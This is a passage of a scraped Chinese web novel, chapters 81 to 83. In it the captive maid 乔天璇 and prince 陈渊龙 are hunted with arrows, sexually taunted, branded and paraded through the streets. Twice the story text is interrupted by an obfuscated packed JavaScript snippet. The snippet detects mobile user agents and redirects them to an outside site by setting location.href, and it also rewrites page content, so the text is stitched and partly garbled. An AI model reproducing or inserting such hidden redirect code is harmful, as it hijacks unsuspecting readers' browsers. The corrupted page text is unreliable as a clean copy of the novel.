然而,穆泽接下来说的话瞬间让乔天璇对这顶帽子厌恶到了极点。 “小乖兔兔,乖,真乖。” 乔天璇:“……” 乖? 真乖? 乔天璇还是第一次听到人用“乖”来形容自己。 若是如此说自己的人是母亲,乔天璇完全不会觉得有何不妥。 可偏偏如此说自己是穆泽。 一种想要撕碎穆泽的念头在乔天璇的脑海中疯狂地涌起。 此时,站在枯树旁的穆耶颌催促道:“二弟,围猎要开始了!” “好!”穆泽连忙远离了乔天璇几步,随即便对乔天璇做出了拉弓搭箭的动作。 一左一右擒着乔天璇的宫卫立马松开了乔天璇,赶紧往屋檐下跑去了。 乔天璇来不及多想,慌忙跟着那两个宫卫跑,想要让他们的身子挡着自己的身子。 然而另一边的穆昌也在朝自己拉弓搭箭。 乔天璇只好拼命躲到了两个宫卫中间的位置。 “嗖——嗖——” 两道箭矢射出的声音在乔天璇的耳边响起。 乔天璇两旁的宫卫齐齐痛呼一声,摔倒在地。 见状,乔天璇心惊不已。 他们居然连自己的宫卫都射杀! 乔天璇赶忙就地横趴滚向了墙前的那堆砖后面。 “嗖——” 意料之中的一道箭声忽地响起。 那支箭正好射在了方才乔天璇就地横趴的那处,也正是那两个已经被射杀的宫卫中间的位置。 乔天璇清楚那是穆耶颌朝她射来的箭。 现在穆耶颌站在枯树旁,那就绝对不能躲到枯树那儿,要不然就是自寻死路。 “不错嘛,小乖兔兔反应真快!”穆泽兴奋地夸赞着。 “看你还想往哪儿躲!”穆昌飞快地拉弓搭箭,一脚深一脚浅地追到了乔天璇所躲的那堆砖的后面。 乔天璇急忙蛇行赶向石井。 要是走直线,那么必定会被射直线的箭射中。 “嗖——” 穆昌的箭射在了乔天璇蛇行堪堪躲开的位置。 “可恶!真能躲!”穆昌气急败坏。 “嗖——嗖——” 乔天璇再一次蛇行躲开了穆耶颌和穆泽射来的箭,赶到了石井边匍匐着,稍微喘息了几口气。 但她知道一直这样躲着也不是办法,朔风国皇子三兄弟也是会走动的。等到他们仨一同走到自己身边时,那自己就彻底完蛋了。 不过就在方才,乔天璇瞟见穆耶颌已经离开枯树旁了,那么现在自己便可以躲到枯树旁! 只是在这之前,得先来个迷惑人的假动作才行! 乔天璇卯足了劲儿,忽地从石井后窜了出来,冒着极大的风险绕着石井跑了一圈。 “嗖——嗖——嗖——” 三支箭齐齐射来,一支射在了从石井通往枯树的路,一支箭射在了从石井折返回砖堆的路,一支箭射进了石井中。 趁着朔风国皇子三兄弟重新取箭搭弓的空当,乔天璇直奔枯树。 可乔天璇哪里预料得到在前往枯树的雪地里冻得都有冰坨子了,她当即不受控制地滑了一跤。 完蛋,要死! 摔倒在地的乔天璇绝望地闭上了双眼,准备迎接三支齐齐射入自己体内的箭。 然而,乔天璇并没有等到朝她射来的箭。 一道猛烈的断裂声和一声熟悉的闷哼一前一后传入了乔天璇的耳中。 乔天璇猛然睁开了双眼,映入眼帘的画面顿时让她感觉心都跳快了好几拍。 陈渊龙竟然拖着一截断裂的枯树枝干挡在了她的身前! 毫无疑问,陈渊龙的双手仍旧被绳子捆着,绳子的另一端绑在那截枯树枝干上。 乔天璇瞟见枯树枝干上插着在方才的那一瞬从远处射来的两支箭。 而陈渊龙右边的胸口也被一只箭给射穿,伤口处溢出的鲜血染红了衣衫。 “太子……殿下?”乔天璇不可置信地看着眼前强行挣断了吊着他的那截枯树枝干,随后直接拖着枯树枝干赶到她的身前,硬生生为她挡下了箭的陈渊龙。 他是怎么做到的啊?! 81. 朔风之难(六) 陈渊龙眉头紧蹙,浑身颤抖,一只眼的眼皮忽地抽搐了两下。 乔天璇知道陈渊龙定是被那支穿透他胸口的箭给扎疼了。 朔风国皇子三兄弟当即停止了围猎,全都往乔天璇和陈渊龙这边赶了过来。 陈渊龙许是听到了那三人靠近的脚步声,他拼命往乔天璇身旁又靠近了些许,尽量让自己挡严实了摔倒在地的乔天璇。 “太子殿下,你怎么样?”乔天璇比起摔倒的自己,她现在更担心被箭给射穿了胸口的陈渊龙。 “我没事,死不了。”陈渊龙痛苦地喘息着,眼神有些疲惫,目光用力地落在乔天璇的身上,仿佛只要能看着乔天璇就能止疼一样。 朔风国皇子三兄弟火急火燎地赶到了陈渊龙的身旁,见他拼命遮挡着乔天璇的身子,穆耶颌不解道:“小竹竿子,这小侍女是给你下蛊了吗?竟是值得让你用命去护?” 穆泽惊魂未定道:“死竹竿子,你知不知道你要是死了,会是一件多麻烦的事情?!” 穆昌后怕道:“你身为一国太子,怎能给自己的侍女挡箭?你不要命了?!” 陈渊龙深深地看着乔天璇,对身后的朔风国皇子三兄弟咬牙切齿道:“她的命就是我的命,你们要是敢要她的命,我的命你们也拿去。” 乔天璇顿时惊诧万分。 她什么时候在陈渊龙的心中变得这么重要了?而且……这怎么可能?! ……对了,陈渊龙一定是因为害怕贴身侍女死了之后没人能照顾他了,所以才要保她的命。 一定是因为这样! 毕竟一个从小养尊处优的太子如何会照顾自己?他既不会洗衣,也不会洒扫,万一再被朔风国皇子三兄弟给暴打了,连个给他处理伤口的人都没有,他岂不是得绝望死了? 乔天璇努力平复着自己的心情,与陈渊龙对视的双眼中眼神稍微没有方才那么震惊了。 “真是想不到啊,小竹竿子还挺深情。”穆耶颌叹了一口气,无奈道:“罢了,你这小竹竿子身为质子,肯定是不能死了的。若是你的小侍女死了,你便也不活了,那对我们来说可不是件好事,暂且放你们一回吧。” 穆泽道:“皇兄,那我们就这样不管他们两个了吗?” “怎么可能不管?他们的命肯定得留着,要不然日后还如何慢慢折磨他们?”穆耶颌抬头对着守在院门口的其中一个宫卫道:“你立马去把太医给请过来!” “是!”宫卫立马出门去请太医。 穆耶颌在陈渊龙身旁蹲下了身子,看着陈渊龙胸口前那支将他的身子穿透的箭,不由得感叹道:“啧啧啧啧啧,小竹竿子,这支箭要不是你挡下来了,射中的就是你的小侍女了。” 穆泽蹲在了陈渊龙身旁的另一边,好奇道:“死竹竿子,你是怎么突然有那么大的力气的啊?居然把吊着你的枯树枝干都给折了下来拖到了这里,简直不可思议啊。” 穆昌则多走了几步,蹲在了乔天璇的身旁,疑惑道:“她怎么过了这么久都不站起来?是不是腿被摔折了?” 穆耶颌无所谓道:“折了不奇怪,冬天踩到冰坨子摔折了腿的情况又不少见,等会儿让太医把她的腿给一块儿治了就行了。” 穆泽若有所思道:“小美人儿的腿要是折了,怕是得在榻上躺上许久才能好了,那她之后还能搬砖吗?” 穆耶颌笑道:“要是没折的话肯定得搬,要是折了,那就等腿养好了再继续搬。总之砖肯定是要搬的,可不能让他们两个人好端端的还无所事事。” 乔天璇听得心烦,试着动了一下腿,却发现右腿似乎动不了了。 难不成真的折了? 雪地冰冷无比,乔天璇的心也愈发不安。 落雪逐渐停了下来,地上的积雪也比方才厚实了不少。 冷,当真是冷。 乔天璇很想起身,可是右腿完全使不上劲,滑溜的地面让她心有余而力不足。 “真是麻烦。”穆耶颌看着拼命起身却怎么都起不来身的乔天璇,满脸不耐烦。 他站起了身,居高临下看着雪地上受伤的两人,一声令下,几个宫卫便将陈渊龙被绳子绑着的双手解开,把他和乔天璇双双小心翼翼地抬入了房中的榻上。 不一会儿,太医就跟着方才被穆耶颌指派的宫卫来到了房中。 太医先是给陈渊龙截断射穿了他身子的箭,随后把箭头取了出来。 陈渊龙疼得直冒冷汗,闷哼连连。 穆耶颌幸灾乐祸地看着,打趣道:“小竹竿子,挺能忍痛嘛,厉害啊。” 乔天璇偏头瞧着陈渊龙被太医处理箭伤的过程,听着陈渊龙痛苦的闷哼,心中到底是有些不忍。 如果不是陈渊龙拼命来挡住自己的身子,他也不必遭这种罪。 太医处理好了陈渊龙的箭伤,立马又来给乔天璇处理腿伤。 果然,乔天璇的右腿真的摔折了,太医说接骨之后至少需要修养三个月的时间。 “三个月啊……”穆泽满脸遗憾。 太医认真道:“伤筋动骨一百天,三个月能恢复好都算是快的了。” “好了好了知道了,我之前又没有折过腿,哪里会晓得这些。”穆泽朝太医不屑地翻了个白眼。 接骨的剧痛让乔天璇疼得忍不住唤出了声。 穆泽却十分兴奋,甚至激动得喘息不止。 陈渊龙恶狠狠地盯了穆泽一眼,似是明白穆泽为何会如此兴奋和激动。 可穆泽就像是感觉不到陈渊龙的眼神一样,满脸陶醉道:“叫得太好听了小美人儿,你可真是诱人,太令我惊喜了,呃嗯……” 下一刻,穆泽情不自禁对着乔天璇用力耸动自己的下身。 顿时,陈渊龙额上暴起青筋,眼中的怒火仿佛是要即刻烧透穆泽一般。 可即便再生气,现在的陈渊龙也只能无能为力地躺在榻上。 他那被上了药后包扎好的箭伤疼得他一时半会儿动弹不得,就算他想要教训穆泽,瘦弱受伤且手无寸铁的他这会儿肯定也打不过穆泽。更何况还有穆耶颌和穆昌在穆泽身旁,定是只有他败的份儿。 乔天璇忍无可忍地闭上了双眼,一点儿也不想看到眼前恶心的画面。 见状,穆耶颌竟是走到了刚被太医接好骨乔天璇身旁,强行打开了乔天璇的眼皮,调笑道:“怎么?不想看?那可不行,你得看着啊。” 说着,穆耶颌和穆昌居然也对着乔天璇用力耸动起了他们的下身。 乔天璇感觉这一刻的自己简直是在遭受酷刑。 恶心,实在是恶心!恶心至极! 陈渊龙不甘的喘息声从一旁传来,乔天璇能感觉得到陈渊龙已经愤怒到了极点。 还在给乔天璇处理腿伤的太医却像是司空见惯了一样,丝毫不受朔风国皇子三兄弟说的话和做的动作所影响。一直到他将乔天璇的腿伤处理完毕,默默退下,任由朔风国皇子三兄弟继续对乔天璇做着动作。 可太医一走,朔风国皇子三兄弟就像是突然一下来不了感觉了一样,纷纷停下了动作。 穆耶颌也不再强行让乔天璇睁开眼睛看着他们,他后退几步离了榻边,懒懒地看着终于能闭上双眼不再看他们了的乔天璇。 乔天璇深呼吸了一口气,浑身无力地瘫在榻上,一瞬间简直绝望得想要马上死去。 “扫兴……”穆昌烦躁地看着榻上的陈渊龙和乔天璇,像是发泄完后感到了莫大的空虚,对眼前的一切都失去了兴趣。 穆耶颌许是觉得这两个一言不发躺在榻上的伤号着实没趣,不如等两人伤好了再来玩弄,便带着其余人齐齐离开了。 周围一下子安静了下来。 片刻后,乔天璇缓缓睁开了憔悴的双眼。 平躺在榻上的两人默默地看着顶上的房梁。 乔天璇心中郁闷至极,深感自己这段时间受到的侮辱和折磨用刻骨铭心来形容绝不夸张。 窗外天上的太阳越升越高,照着满地的白雪泛着亮光。 天边传来不怕冷的鸟儿欢快的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔天璇清楚朔风国皇子三兄弟可不是出于好心才让太医来医治他们两人,只是单纯地觉得戏弄两个伤号没什么意思。 一但她和陈渊龙的伤好了,那仨儿肯定立马又会来这儿找他们两人的麻烦。 隆冬,天更加冷了。 夜里,乔天璇不知是被冻醒的还是被饿醒的,她一醒来就发现自己的眼角有泪。 “醒了?没事吧?”耳畔忽然传来陈渊龙喑哑且带着热气的声音。 “太、太子殿下?”乔天璇猛地转头,借着不太亮的月光,她看到陈渊龙竟是侧着身子躺在之前她和陈渊龙中间一直隔着一个人的位置上。 陈渊龙道:“我听到你哭得很伤心。” “应该是……做噩梦吧?对,做噩梦。”乔天璇强行让自己冷静下来。 陈渊龙的声音在漆黑的夜里像是一把温暖的火,乔天璇难以想象自己竟是有一种想要钻到陈渊龙的怀中取暖的冲动。 “不怕,有我在。”陈渊龙用手指轻轻抹去了乔天璇眼角的泪。 霎那间,又冷又饿的乔天璇脑海中那根代表理智的线就像是突然绷断了一样。 陈渊龙的手指也很温热,在触碰到乔天璇冰冷的皮肤上时就像是一根烧红的铁条忽地落到了一片结冰的冰原上似的,顷刻便将坚冰融化。 一种难以言喻的情绪如泉涌一般在乔天璇的心中喷涌。 她一时间竟不知自己到底是悲伤还是喜悦。 但她能清楚地感觉到自己眼角的泪比方才更多了。 “怎么了?很难过?”陈渊龙连忙继续给乔天璇抹泪,沉沉的声音不由分说地传入乔天璇的耳中,让乔天璇忍不住浑身战栗。 乔天璇终是再也控制不住自己,不顾一切地往陈渊龙温暖的怀中挪去。 被褥被人带着挪动时发出的声音在安静的房中显得极其清晰。 陈渊龙的呼吸陡然急促了起来。 窗外的夜风依旧呼啸着,天上的乌云缓缓遮住了月亮。 一片漆黑中,陈渊龙紧紧抱住了乔天璇,与她额头相贴,与她紧紧依偎。 82. 朔风之难(七) 自打乔天璇那晚在半夜醒来之后与陈渊龙相拥而眠,她与陈渊龙之间的关系跟之前相比起来缓和了不少。 陈渊龙往后每晚都会主动躺到乔天璇的身旁与她互相依偎着。 为了暖和一些,乔天璇总是会顺势靠进陈渊龙的怀中,由着他紧紧抱着她。 男孩的身子又热又烫又硬,乔天璇在陈渊龙的怀中睡得迷迷糊糊,十分安稳,感觉自己就像是躺在了一处温暖的石洞中,包裹着身子的石壁每时每刻都在不停地发热。 至于她对陈渊龙的恨,她暂时没再去想。 朔风国的冬天实在是太冷了,乔天璇经常被冻得脑子发麻,也没有多余的心思去恨。 待到太医再来给两人换药时,太医看着陈渊龙的箭伤,满意道:“看来我调制的新药药效不错,胸口前的箭伤已经恢复到完全看不出痕迹了,就是后背上的箭伤估计还得要再恢复几日才能完全看不出痕迹。” 陈渊龙道:“多谢。” “不必谢,我把你当试药的药人呢。”太医像是看傻子一样看了一眼陈渊龙。 “……” 乔天璇偏头瞧着一旁的陈渊龙那副瘦骨嶙峋的身子,心中五味杂陈。 她的右腿依旧还需继续修养才行,但如果拄着拐棍,只用一条左腿走路的话也不是不行。 太医走后,房内又恢复了安静无声。 两人双双躺在榻上,陈渊龙主动靠近了乔天璇躺着。 乔天璇望着窗外的冰天雪地,心觉朔风国冬日的雪就跟不要钱似的下。 也对,雪本来就不要钱。 “天璇,方才太医说你的腿快好全了。”陈渊龙的声音从身旁传来。 “是啊,等好全了,我就又得去搬砖了。”乔天璇满脸无奈。 陈渊龙没再说话,他循着乔天璇的目光望向了窗外。 阳光照着被皑皑白雪所覆盖的一切,让整个世界仿佛都变得愈发亮白了。 如果两人能因养伤在榻上躺完一整个冬天,倒也能算是落得个轻闲。 然而,太医把陈渊龙箭伤的恢复情况全都告诉了朔风国皇子三兄弟。午时刚过,朔风国皇子三兄弟就带着一众宫卫大摇大摆地来了这儿。 乔天璇见朔风国皇子三兄弟居然让其中两个宫卫一起搬着一个装满了炭火的炭盆来。 炭盆中的炭火冒出的滋滋热气顿时让房中温暖了不少。 乔天璇简直难以置信。 朔风国皇子三兄弟居然会来给他们送炭火? 难不成是因为害怕陈渊龙被冷死? 毕竟除了这个理由之外,乔天璇实在是想不到任何别的理由了。 雪中送炭,这事儿倒是能体现他们朔风国皇子仅存不多的善。 可问题是都已经冷了这么久了,现在才来送炭,此善怕是来得有些迟了吧? “你们来作甚?”陈渊龙在榻上坐起半个身子,警惕地看着来到了榻边的朔风国皇子三兄弟。 宫卫在穆耶颌的命令下将装满炭火的炭盆放到了榻边。 乔天璇当即感受到了炭火温暖的热气,心中暗暗激动。 冰窖一样冷的房子里一下子被搬入了这样一盆烧着的炭,就如干涸已久的土地突然被灌了水一般,可谓是救命之物。 难不成这朔风国皇子三兄弟真的只是来送炭火的? 乔天璇愈发笃定了他们害怕陈渊龙会被冻死。 穆耶颌饶有兴致地分别扫了陈渊龙和乔天璇一眼,笑道:“我们来作甚?当然是来找乐子的啊。” “乐子?什么乐子?”乔天璇惶惶不安。 方才她才笃定的想法立马就被否定了。 穆泽神情猥琐道:“哎哟小美人儿,你的腿还没好全,哥哥我可是心疼得很呐。你乖乖躺好看乐子就行,不需要你干什么事儿。” 穆昌乐道:“就是就是!好好躺着看乐子吧,能得到我二哥的心疼,你可赶紧偷着乐吧!” 闻言,乔天璇立即感到了一阵恶心。 真是不知廉耻的两人,这种话居然都说得出口?! 可不等乔天璇心中再多暗骂几句,穆耶颌忽地一声令下,几个宫卫便上前来强行将坐在榻上的陈渊龙狠狠推趴,让陈渊龙以面朝榻被死死按在榻上。 “你们要对他干什么?!”乔天璇大惊失色。 穆耶颌大喝道:“扒了他的上衣!” 顿时,几个宫卫不由分说手脚麻利地把陈渊龙上身穿着的衣服全都给扒了下来。 “有病吧你们?!”乔天璇感觉自己仿佛看到了一群疯子在干疯事。 房内虽然有了炭火发出的热气,可现在这样寒冷的天气怎么可能让一个上衣被扒光的人忍受得了?! “呀,果然就如太医说的那般,后背上的箭伤好得都快要看不出痕迹了啊……”穆耶颌凑到了陈渊龙消瘦的后背上仔细观察着。 穆泽和穆昌也凑了过去,好奇地观察着。 但乔天璇可不觉得他们仅仅是来观察陈渊龙后背上的箭伤的。 正如乔天璇所想,下一刻,穆耶颌站直了身子,转头看向了身后的其中一个宫卫。 那个宫卫连忙上前递给了穆耶颌一把看起来是烙马印的铁器。 见到那东西,乔天璇心中一沉,极度不妙的预感油然而生。 只见穆耶颌把那东西放到炭火上烤得通红,随后将其猛地烙到了陈渊龙后背右边那处箭伤已经好得快要看不出痕迹了的地方。 “呃哇啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!” 伴随着一股人肉在一瞬间被烫熟了的刺鼻味道,遭到几个宫卫强行按在榻上动弹不得的陈渊龙爆发出了一阵极其凄厉的惨叫声,听得躺在一旁目睹了眼前这一切的乔天璇惊恐地瞪圆了双眼,情不自禁张大了嘴巴。 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈——” 穆耶颌高兴地笑着,满脸兴奋。 过了整整三息,穆耶颌才把手中的东西缓缓拿开。 陈渊龙颤抖着的后背右边赫然被烙上了一个大大圆圆,四只爪子、龙角、龙尾都断了一半的龙纹样红色烙印。 虽然那东西离开了,但陈渊龙依旧疼得呻吟不止,两眼都被疼出了泪来,整张脸不受控制地抽搐。 穆泽欢喜地鼓着掌,开心道:“烙得好!烙得好!” 穆昌一蹦三尺高,激动道:“此烙印一定能让他好好记住这就是阻碍我们围杀猎物的下场!” 穆耶颌凑近了陈渊龙的耳朵,阴恻恻道:“小竹竿子,这是我对你的惩罚。若是你当时没有为了救你的小侍女而给她挡了那一箭,你也不会从此以后都要与后背上这个耻辱的烙印作伴了。我要让你记住,是你的小侍女让你受到了这奇耻大辱,让你这堂堂太子跟一匹被烙印子的马儿一样。” 闻言,乔天璇算是明白了,穆耶颌不单只在折辱陈渊龙,还在趁机挑拨陈渊龙和她的关系。 若是陈渊龙真的把穆耶颌的话给听进去了,怕是极有可能会因此事怨恨乔天璇一辈子。 想罢,乔天璇瞬间清醒了许多。 没想到啊,原来他们根本就不是来雪中送炭的,而是来借炭火的滚烫给人上刑的! 陈渊龙痛苦地闭上了双眼,眉头紧蹙,双手死死攥着榻上铺着的厚厚床单。 穆耶颌一声令下,那几个按着陈渊龙的宫卫立马退下。 可陈渊龙早已没有挣扎的力气了,他一动不动地趴着,身子时不时由于痛楚难忍忽地抽搐一下。 穆耶颌看着乔天璇,惋惜道:“小侍女啊,这一切都怪你。要不是你,你的太子殿下哪儿会遭这种罪啊?真是可怜呐……” 穆昌摇着头故作惋惜道:“可怜可怜真可怜,真是可怜得令人叹息哇……” 穆泽幸灾乐祸道:“小美人儿啊,你看你的太子殿下居然被烙上了印子呀,古往今来,哪儿有太子会被烙印的啊?” “废话,还不都是你们干的?!你们这群混蛋!混蛋!混蛋!混蛋!!!”乔天璇气得咬牙切齿,恶狠狠地来回瞪着朔风国皇子三兄弟。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225706|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >见到乔天璇的愤怒和不甘,穆耶颌再次大笑不止:“哈哈哈哈哈哈哈哈哈哈哈小侍女,你真的很有意思啊,看得我都忍不住对你有怜爱之情了。怪不得你的太子殿下对你有情,当真是有原因的哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈……” 穆泽模仿了几声乔天璇方才骂的“混蛋”,乐道:“可爱!真可爱!太可爱了!” 穆昌依旧摇着头,仿佛是在惋惜什么似的。 “好了,我们走吧。可怜鬼看多了,还真是让人感到心烦。”穆耶颌转身大步出了门去,用像是对垃圾说话一般的语气道:“那盆炭火就当是施舍给你们了。看着它,也能让你们回忆起方才发生的事情。” 穆泽跟在穆耶颌的身旁,惊道:“皇兄真是大善人啊!居然把那一整盆炭火都施舍给他们了,太无私了!” 穆昌跟在穆耶颌身旁的另一边,附和道:“就是啊,太无私了,真是便宜他们了!” “哈哈哈哈哈哈哈哈哈哈哈大善人哈哈哈哈哈哈哈哈哈哈哈……” 也不知穆耶颌是自己也觉得荒谬和好笑,还是他真的认为自己是个大善人,即便他已经离开院子有一段距离了,乔天璇还是能够听得到他那肆意狂放的大笑声。 “太子殿下,你……没事吧?”乔天璇小心翼翼地问着趴在榻上的陈渊龙。 陈渊龙的脸色唇色苍白无比,他艰难地抬眼看向了乔天璇,颤抖着摇了摇头,道:“没事。” “开玩笑,怎么可能会没事?”乔天璇慌忙挪近了陈渊龙,把他被宫卫扒下来的衣服给披上了身。 为了避免衣服碰到那处还在冒着热气的烙印,乔天璇给陈渊龙披衣服披得格外小心,让层层叠叠的衣服全都避开了那处地方。 可这样一来,那处地方就变得凉飕飕的。 但为了不让伤口粘上衣服,一时半会儿也只能如此了,唯有期盼伤口能够快点结痂。 好在穆耶颌留下了那盆炭火,热气不断充盈着并不大的宫殿,让房内不至于冷得彻骨。 乔天璇试着给陈渊龙的那处烙印伤口输送灵力。 可结果在她的意料之中,她一丝灵力都发不出来。 毫无疑问,她自己本身就伤着,这些日子还又冷又饿,就算她体内有灵力,也立马被她自己在无意识间给消耗完了,哪儿还会有多余的灵力用来救人? “谢谢你,天璇,有你在,我肯定不会有事。”陈渊龙突然一把紧握住了乔天璇的一只手臂,眼神疲倦地看着乔天璇。 乔天璇一愣,下意识道:“……好,我知道了。” 陈渊龙道:“能不能就在这个位置陪着我?” 乔天璇清楚陈渊龙是想要她在他之前在夜里与她互相依偎的位置陪她。 想到这里,乔天璇情不自禁忆起了每个夜晚陈渊龙紧紧抱着她睡觉时她所感受到的那种令她迷迷糊糊的温暖。 “能的。”乔天璇点了点头。 “嗯……”陈渊龙侧着头,目不转睛地看着乔天璇。 乔天璇没辙了,只能就在她现在所在的位置躺了下来,任由陈渊龙紧握着她的一只手臂。 到了傍晚,陈渊龙背上的烙印已经结了一点痂了,开始变成了焦黑色。 为了不让伤口粘上衣服,他披着一件单薄的外披去把两人的晚饭端到了榻上后就立马抖落了外披。 晚饭仍然是馒头和稀饭。 两人虽然都有伤在身,但一刻钟之内就把量少又寡淡的晚饭给吃完了。 饿,还是饿,饿得心慌。 冷,即使有炭火还是觉得冷,冷得牙齿直打颤。 听着窗外呼啸的风声,乔天璇感觉自己可真是太命苦了。 夜里,乔天璇躺在榻中间的位置,她的一只手与有伤在背,只能被迫趴着睡的陈渊龙的一只手紧挨着。 黑暗中,陈渊龙的手指默默地钩住了乔天璇的手指。 乔天璇莫名感觉陈渊龙这会儿定是在看着她。 但她闭着双眼,一动不动,假装自己已经睡着了。 83. 朔风之难(八) 不出乔天璇所料,待她的腿在彻底好了之后,朔风国皇子三兄弟又让她继续在院子里来来回回地搬砖。 陈渊龙则被绑起双手吊在了枯树的另一条枝干上。 就跟之前的规矩一样,乔天璇只有在酉时之前搬完了砖,并且把砖堆得工工整整,在穆耶颌那里过了关,陈渊龙才能被放下来还不必挨打。 不过还好最冷的日子已经过去了,院子里没有积雪,乔天璇搬起砖来也轻松了许多。 只是冬日的砖依旧冻手,就跟一块块冰坨子似的,冻得乔天璇的手指手掌通红,手背也被冻裂了几道细细的血痕。 乔天璇心中暗暗轮番痛骂着穆耶颌、穆泽、穆昌。 骂着骂着,乔天璇不由得开始怨恨起了自己的命运。 若自己不是个出生在山村里的小孩,父亲不疼不爱,在自己还未出生时便弃母亲而去,随后母亲郁郁寡欢,早亡。而是像那个被五岁的自己救了一命的修士一样,是个拜入仙门的弟子,有师父专门传授自己武功法术,那自己也不会遭受现在这样的苦难。 夜里,已经能躺着睡觉了的陈渊龙紧紧抱着乔天璇,两人互相取暖。 穆耶颌让人搬来的那盆炭火也就仅此那一盆而已,之后他再没让人来送过炭火。陈渊龙与乔天璇只能拼命穿很多的衣服来保暖,以及互相依偎着取暖。 可就算再冷,乔天璇也不会再戴穆泽之前给她强行戴上的那顶兔耳朵帽了。 她把那顶兔耳朵帽塞进了角落中,一点儿也不想再看到它。 毕竟只要一看到那顶兔耳朵帽,乔天璇就会忍不住想起穆泽那副恶心的嘴脸,回忆起自己被朔风国皇子三兄弟围猎的画面。 她这辈子都不愿再想起那件事。 如果不是因为那件事,陈渊龙也不会来为她挡箭,更不会被穆耶颌在后背的箭伤处烙上印子。 乔天璇在陈渊龙更衣时见他背上的烙印虽然消不下去了,但他也已经完全感觉不到痛了。 人看不到自己的后背,陈渊龙自然也看不到。 乔天璇心想这样也好,看不到,陈渊龙心中估计也能稍微没那么难受了。 然而,两人稍微安稳了一些的日子并没有过多久。 上元节,穆耶颌把陈渊龙和乔天璇一块儿关在囚车中游街示众。囚车前面挂了个写着“卑污苟贱九宸国太子”和“卖俏迎奸炉鼎侍女”的木头牌子,任由朔风国百姓们朝着他们两人扔烂菜叶子和臭鸡蛋。 透过笼子的缝隙,乔天璇见到朔风国的大街两旁站满了各种各样的朔风国百姓。 这些朔风国百姓中富人穿金戴银,穷人破衣烂衫,差别极大。 但无论是富人还是穷人,都无一例外地朝他们两人扔东西。 人们对陈渊龙与乔天璇的议论声越来越大,议论的内容也令两人无奈又难受。 “看,那牌子上写的是……卑污苟贱九宸国太子和卖俏迎奸炉鼎侍女!啧啧啧,可真是天造地设的一对!” “破锅配烂盖嘛,我知道,哈哈哈哈!” “早就听说九宸国太子和他的贴身侍女被关在咱们的皇宫中,没想到啊,原来是这样的货色!” “两个垃圾烂货在一起,绝配!” “垃圾!烂货!垃圾!烂货!” 乔天璇见那些穷人的眼神麻木呆滞无神,却也在跟着身旁的人对她和陈渊龙高声喊着“垃圾”“烂货”这些词。 “真是愚不可及。”乔天璇摇了摇头,把方才被人扔进囚车中的半根萝卜拿了起来,拍了拍灰后便放到嘴里面开始啃。 自从来到朔风国后,乔天璇就只吃到过馒头和稀饭,现在能吃到半根萝卜,那简直就像是在喝了一大碗苦药之后突然得到了一块甘甜的饴糖一样,吃得乔天璇两眼都冒光了。 吃完了萝卜,那些朝囚车中的两人扔东西的人在乔天璇的眼中一下子就变成了来给自己改善伙食的人。 有的烂菜叶子并不是整片叶子都是烂的,只要把烂了的部分撕掉,只吃好的部分也不是不行。 乔天璇已经太久没有吃过菜了,现在突然能吃到这么多,她大喜过望都来不及。 看着吃得两腮都鼓起来,满脸欢喜的乔天璇,陈渊龙愣愣地看着她,不安道:“天璇,你没事吧?” “没事,太子殿下吃不吃?这片菜只坏了一点点,我已经把坏的部分给撕掉了。”乔天璇把一片青菜叶子递到了陈渊龙的面前。 陈渊龙不可思议地看了看菜叶子,又看了看满眼期待的乔天璇,无话可说。 乔天璇疑惑道:“太子殿下不吃吗?” “不了。”陈渊龙不可置信地缓缓摇了摇头。 “那我吃了哦。”乔天璇毫不犹豫地把菜叶子塞进了自己的嘴巴里。 陈渊龙看着眼前吃得津津有味的人,眼中满是藏不住的心疼。 乔天璇仔细注意着大家朝囚车扔来的东西,若是能吃,她一个也不会放过。 “哇塞,你们看,那个卖俏迎奸炉鼎侍女在吃咱们给她扔的东西啊……” “怕不是在宫里被饿惨了哟。” “没办法,谁让她的主子是个质子呢?” “真是可怜……” “她就是投胎没投好,要是能投胎到富贵人家,也不至于像现在这样。” “肯定是因为她上辈子作恶多端,所以今生才来受苦受难受惩罚了!” “谁知道呢?反正她是个卖俏迎奸炉鼎侍女,那她现在所受的这一切都是她活该。” “没错,活该!扔她!” “扔!使劲扔!” 乔天璇感觉朝自己扔来的东西越来越烂了,一个都吃不了,不由得暂时抱头躲避。 她清楚,就算她向大家解释她不是卖俏迎奸炉鼎侍女,而是他们朔风国的太子给她的造的谣,大家肯定也不会相信。 所有人都只愿意相信自己想相信的东西,她即使费尽力气去解释也是徒劳。 狭窄的囚车中,陈渊龙被那些烂东西扔得恼火,却只能跟乔天璇一样抱头躲避。 一直到游完了皇城中所有的大街,他们才被送回到了宫里那个破烂宫殿中。 此时,天色已经不早了。 两人吃完了晚饭,先后打水擦了个身子之后便上榻休息。 戌时快结束时,外面隐隐约约传来了烟火的声音。 乔天璇从陈渊龙的怀中惊醒,见陈渊龙已经醒了。 “是皇宫里面在放烟火,还是皇宫外面在放烟火?”乔天璇迷迷糊糊地转身望向了窗外,却只看到了一片漆黑的夜。 陈渊龙道:“在皇宫外面。今日是上元节,他们在庆祝。” “吵死了……”乔天璇转回身,重新埋头睡觉。 陈渊龙缓缓搂紧了乔天璇,沉声道:“都是他们不好。” “……嗯。”乔天璇往陈渊龙温暖的怀中拱了拱,把自己在他的怀中埋得更深了。 两人的呼吸交织着,乔天璇感觉到陈渊龙用手捂住了她的耳朵。 她再没隐隐约约听到烟火的声音,沉沉睡了过去。 翌日,乔天璇刚和陈渊龙一起吃完了早饭,穆耶颌就突然踹开院门急匆匆地冲进了院子里,对着房内的两人大喝道:“出来!!!” 